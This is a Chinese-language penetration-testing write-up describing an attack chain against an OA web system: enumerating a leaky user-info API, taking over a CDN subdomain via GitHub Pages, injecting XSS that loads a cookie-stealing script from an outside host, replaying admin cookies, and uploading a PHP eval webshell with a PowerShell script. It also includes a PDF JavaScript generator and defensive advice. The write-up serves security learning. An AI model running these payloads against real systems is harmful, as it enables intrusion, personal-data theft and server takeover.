【Web实战】一次从子域名接管到RCE的渗透经历
字数 1923 2025-08-10 08:28:37

从子域名接管到RCE的完整渗透实战教学

前言

本教学文档详细记录了一次从子域名接管到最终实现远程代码执行(RCE)的完整渗透过程。通过信息收集、漏洞挖掘、漏洞利用和权限提升等多个环节,展示了如何将多个看似简单的漏洞串联起来形成完整的攻击链。本文档将原渗透过程分解为可操作的步骤,适合安全研究人员学习Web应用渗透测试的思路和方法。

0x01 信息收集与数据泄露

1.1 初始目标发现

  • 目标系统:OA登录页面 https://oa.website.com:9002
  • 初步测试:尝试弱口令爆破未果
  • 转向策略:前端代码审计

1.2 JavaScript文件审计技术

自动化下载JS文件工具:

import os
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlparse, urljoin

# 配置参数
target_url = "https://example.com"  # 目标URL
output_file = "js_links.txt"       # 保存JS链接的文件
output_directory = "js_files"       # 保存JS文件的目录

# 创建目录
os.makedirs(output_directory, exist_ok=True)

# 获取页面内容
response = requests.get(target_url)
if response.status_code == 200:
    soup = BeautifulSoup(response.text, 'html.parser')
    script_tags = soup.find_all('script')
    
    # 提取JS链接
    js_links = []
    for script in script_tags:
        src = script.get('src')
        if src and src.endswith('.js'):
            js_links.append(urljoin(target_url, src))
    
    # 保存链接到文件
    with open(output_file, 'w') as f:
        for link in js_links:
            f.write(link + '\n')
    
    # 下载JS文件
    for link in js_links:
        filename = os.path.join(output_directory, os.path.basename(urlparse(link).path))
        response = requests.get(link)
        if response.status_code == 200:
            with open(filename, 'wb') as f:
                f.write(response.content)

1.3 敏感信息泄露漏洞

发现的关键API端点:

const userInfoXhr = new XMLHttpRequest();
userInfoXhr.open("GET", "https://api-url.com/userinfo?m=get&username=" + response.username, true);

漏洞特征:

  • 仅需用户名即可访问
  • 返回包含家庭住址、电话号码、身份证号码和工作单位等敏感信息
  • 响应状态:
    • 用户存在:返回200状态码和JSON数据
    • 用户不存在:返回502状态码和错误信息

利用方法:

  • 枚举有效用户名获取敏感信息
  • 使用获取的信息生成针对性字典进行密码爆破

0x02 子域名接管攻击

2.1 发现潜在接管点

页面代码分析:

<head>
    <script src="https://cdn1.site.com/js/jquery-2.2.4.min.js"></script>
    <script src="https://cdn1.site.com/js/index.js"></script>
    <!-- 注释提到"Github CDN XXX.github.io" -->
</head>

问题特征:

  • CDN资源加载失败
  • 注释提示GitHub Pages作为CDN使用

2.2 子域名接管步骤

  1. DNS记录检查:

    • 确认cdn1.site.com解析到XXX.github.io
    • 访问XXX.github.io返回404,用户不存在
  2. 注册被释放的GitHub用户名:

    • 检查用户名XXX可用性
    • 注册该用户名并创建同名仓库
  3. 设置GitHub Pages:

    • 启用GitHub Pages服务
    • 添加自定义域名cdn1.site.com
  4. 上传恶意JS文件:

    • 创建jquery-2.2.4.min.jsindex.js
    • 插入XSS payload
  5. 验证接管成功:

    • 访问OA系统,确认payload执行
    • 确认域名控制权已获取

0x03 XSS漏洞利用获取Cookie

3.1 目标系统分析

简化登录页面逻辑:

<script>
document.getElementById("loginForm").addEventListener("submit", function (event) {
    event.preventDefault();
    const username = document.getElementById("username").value;
    const password = document.getElementById("password").value;
    
    // AES加密凭据
    const encryptionKey = "yourEncryptionKey";
    const encryptedUsername = CryptoJS.AES.encrypt(username, encryptionKey).toString();
    const encryptedPassword = CryptoJS.AES.encrypt(password, encryptionKey).toString();

    // 设置7天有效期的Cookie
    const expirationDate = new Date();
    expirationDate.setDate(expirationDate.getDate() + 7);
    const cookieString = `username=${encodeURIComponent(encryptedUsername)}; password=${encodeURIComponent(encryptedPassword)}; expires=${expirationDate.toUTCString()}; path=/`;
    
    document.cookie = cookieString;
    window.location.href = "dashboard.html";
});
</script>

安全缺陷:

  • Cookie校验仅检查存在性和有效期
  • 无其他身份验证机制

3.2 XSS利用流程

  1. 搭建XSS平台:

    • 配置接收Cookie的服务器
    • 设置邮件和微信通知
  2. 注入恶意JS代码:

    // 创建script元素加载XSS平台脚本
    var scriptElement = document.createElement('script');
    scriptElement.src = "//xms.la/U5";
    document.head.appendChild(scriptElement);
    
  3. 获取管理员Cookie:

    • 等待管理员访问被篡改页面
    • 通过XSS平台接收Cookie
  4. Cookie重放攻击:

    • 使用获取的Cookie直接访问后台
    • 绕过登录验证机制

0x04 文件上传与RCE实现

4.1 备份文件分析

发现备份文件:

  • 路径:/Back/back2022.zip
  • 包含完整网站源代码

数据库配置泄露:

// connect_db.php
$db_host = 'localhost';
$db_user = 'root';
$db_pass = 'password123';
$db_name = 'oa_system';

限制条件:

  • 仅允许本地连接
  • 无法直接利用进行SQL注入

4.2 文件上传漏洞利用

发现的上传功能:

  • 废弃的头像上传功能
  • 文件类型检查仅依赖$_FILES['pic']['type']
  • 客户端可控的MIME类型验证

绕过上传限制的方法:

  1. 构造上传表单:

    <form action="upload.php" method="post" enctype="multipart/form-data">
        <input type="file" name="pic" id="pic" accept="image/jpeg, image/png, image/gif">
        <input type="submit" value="上传图像">
    </form>
    
  2. 使用合法会话:

    • 利用已获取的Cookie
    • 避免直接调用接口需要处理复杂的key校验
  3. 上传WebShell:

    • 修改文件名后缀为.php
    • 内容包含一句话木马:<?php eval($_POST['cmd']);?>
  4. 执行PowerShell上传脚本:

    $session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
    $session.UserAgent = "Mozilla/5.0..."
    $session.Cookies.Add((New-Object System.Net.Cookie("PHPSESSID", "value", "/", "rs.eist.site.com")))
    
    Invoke-WebRequest -UseBasicParsing -Uri "http://rs.eist.site.com/admin/upload.php" -Method POST -WebSession $session -Headers @{
        "Accept" = "text/html,application/xhtml+xml..."
        # 其他头信息
    } -ContentType "multipart/form-data; boundary=..." -Body @"
    --boundary
    Content-Disposition: form-data; name="pic"; filename="shell.php"
    Content-Type: image/jpeg
    
    <?php eval($_POST['cmd']);?>
    --boundary--
    "@
    
  5. 访问WebShell:

    • 路径:admin/touxiang/shell.php
    • 使用中国菜刀等工具连接

0x05 攻击链总结

  1. 信息收集阶段:

    • JS文件审计发现敏感信息泄露
    • 枚举用户名获取敏感数据
  2. 权限提升阶段:

    • 发现子域名接管机会
    • 注册GitHub账户接管CDN
    • 注入XSS payload
  3. 横向移动阶段:

    • 通过XSS获取管理员Cookie
    • 访问后台系统发现备份文件
  4. 最终攻击阶段:

    • 分析备份代码发现上传漏洞
    • 绕过限制上传WebShell
    • 获取服务器控制权限

防御建议

  1. 防止子域名接管:

    • 定期检查DNS记录
    • 及时释放不再使用的第三方服务关联
  2. 防止信息泄露:

    • 敏感API增加身份验证
    • 实施最小权限原则
  3. 防止XSS攻击:

    • 实施严格的CSP策略
    • 对用户输入进行过滤和转义
    • 设置HttpOnly和Secure标志的Cookie
  4. 防止文件上传漏洞:

    • 服务器端验证文件类型和内容
    • 限制上传目录的执行权限
    • 使用随机文件名存储上传文件
  5. 其他安全措施:

    • 定期进行安全审计
    • 实施完善的日志监控
    • 保持系统和组件更新

附录:PDF XSS研究

虽然本次渗透中PDF XSS仅能实现弹窗,但作为一种攻击向量值得研究:

PDF XSS生成脚本:

from pdfrw import PdfWriter, PdfDict, PdfArray, PdfName, PdfString

def create_js_action(js_code):
    return PdfDict(S=PdfName.JavaScript, JS=js_code)

def create_pdf_page(script):
    page = PdfDict(
        Type=PdfName.Page,
        MediaBox=[0, 0, 612, 792],
        AA=PdfDict(O=create_js_action(f"try{{{script}}}catch(e){{app.alert(e.message);}}"))
    )
    return page

# 使用示例
page = create_pdf_page('app.alert("XSS in PDF")')
PdfWriter().addpage(page).write('xss.pdf')

限制:

  • Adobe Reader等现代PDF阅读器已加强安全限制
  • 通常仅能在受控环境下实现简单弹窗
  • 难以实现复杂的攻击载荷
从子域名接管到RCE的完整渗透实战教学 前言 本教学文档详细记录了一次从子域名接管到最终实现远程代码执行(RCE)的完整渗透过程。通过信息收集、漏洞挖掘、漏洞利用和权限提升等多个环节,展示了如何将多个看似简单的漏洞串联起来形成完整的攻击链。本文档将原渗透过程分解为可操作的步骤,适合安全研究人员学习Web应用渗透测试的思路和方法。 0x01 信息收集与数据泄露 1.1 初始目标发现 目标系统:OA登录页面 https://oa.website.com:9002 初步测试:尝试弱口令爆破未果 转向策略:前端代码审计 1.2 JavaScript文件审计技术 自动化下载JS文件工具: 1.3 敏感信息泄露漏洞 发现的关键API端点: 漏洞特征: 仅需用户名即可访问 返回包含家庭住址、电话号码、身份证号码和工作单位等敏感信息 响应状态: 用户存在:返回200状态码和JSON数据 用户不存在:返回502状态码和错误信息 利用方法: 枚举有效用户名获取敏感信息 使用获取的信息生成针对性字典进行密码爆破 0x02 子域名接管攻击 2.1 发现潜在接管点 页面代码分析: 问题特征: CDN资源加载失败 注释提示GitHub Pages作为CDN使用 2.2 子域名接管步骤 DNS记录检查: 确认 cdn1.site.com 解析到 XXX.github.io 访问 XXX.github.io 返回404,用户不存在 注册被释放的GitHub用户名: 检查用户名 XXX 可用性 注册该用户名并创建同名仓库 设置GitHub Pages: 启用GitHub Pages服务 添加自定义域名 cdn1.site.com 上传恶意JS文件: 创建 jquery-2.2.4.min.js 和 index.js 插入XSS payload 验证接管成功: 访问OA系统,确认payload执行 确认域名控制权已获取 0x03 XSS漏洞利用获取Cookie 3.1 目标系统分析 简化登录页面逻辑: 安全缺陷: Cookie校验仅检查存在性和有效期 无其他身份验证机制 3.2 XSS利用流程 搭建XSS平台: 配置接收Cookie的服务器 设置邮件和微信通知 注入恶意JS代码: 获取管理员Cookie: 等待管理员访问被篡改页面 通过XSS平台接收Cookie Cookie重放攻击: 使用获取的Cookie直接访问后台 绕过登录验证机制 0x04 文件上传与RCE实现 4.1 备份文件分析 发现备份文件: 路径: /Back/back2022.zip 包含完整网站源代码 数据库配置泄露: 限制条件: 仅允许本地连接 无法直接利用进行SQL注入 4.2 文件上传漏洞利用 发现的上传功能: 废弃的头像上传功能 文件类型检查仅依赖 $_FILES['pic']['type'] 客户端可控的MIME类型验证 绕过上传限制的方法: 构造上传表单: 使用合法会话: 利用已获取的Cookie 避免直接调用接口需要处理复杂的key校验 上传WebShell: 修改文件名后缀为 .php 内容包含一句话木马: <?php eval($_POST['cmd']);?> 执行PowerShell上传脚本: 访问WebShell: 路径: admin/touxiang/shell.php 使用中国菜刀等工具连接 0x05 攻击链总结 信息收集阶段: JS文件审计发现敏感信息泄露 枚举用户名获取敏感数据 权限提升阶段: 发现子域名接管机会 注册GitHub账户接管CDN 注入XSS payload 横向移动阶段: 通过XSS获取管理员Cookie 访问后台系统发现备份文件 最终攻击阶段: 分析备份代码发现上传漏洞 绕过限制上传WebShell 获取服务器控制权限 防御建议 防止子域名接管: 定期检查DNS记录 及时释放不再使用的第三方服务关联 防止信息泄露: 敏感API增加身份验证 实施最小权限原则 防止XSS攻击: 实施严格的CSP策略 对用户输入进行过滤和转义 设置HttpOnly和Secure标志的Cookie 防止文件上传漏洞: 服务器端验证文件类型和内容 限制上传目录的执行权限 使用随机文件名存储上传文件 其他安全措施: 定期进行安全审计 实施完善的日志监控 保持系统和组件更新 附录:PDF XSS研究 虽然本次渗透中PDF XSS仅能实现弹窗,但作为一种攻击向量值得研究: PDF XSS生成脚本: 限制: Adobe Reader等现代PDF阅读器已加强安全限制 通常仅能在受控环境下实现简单弹窗 难以实现复杂的攻击载荷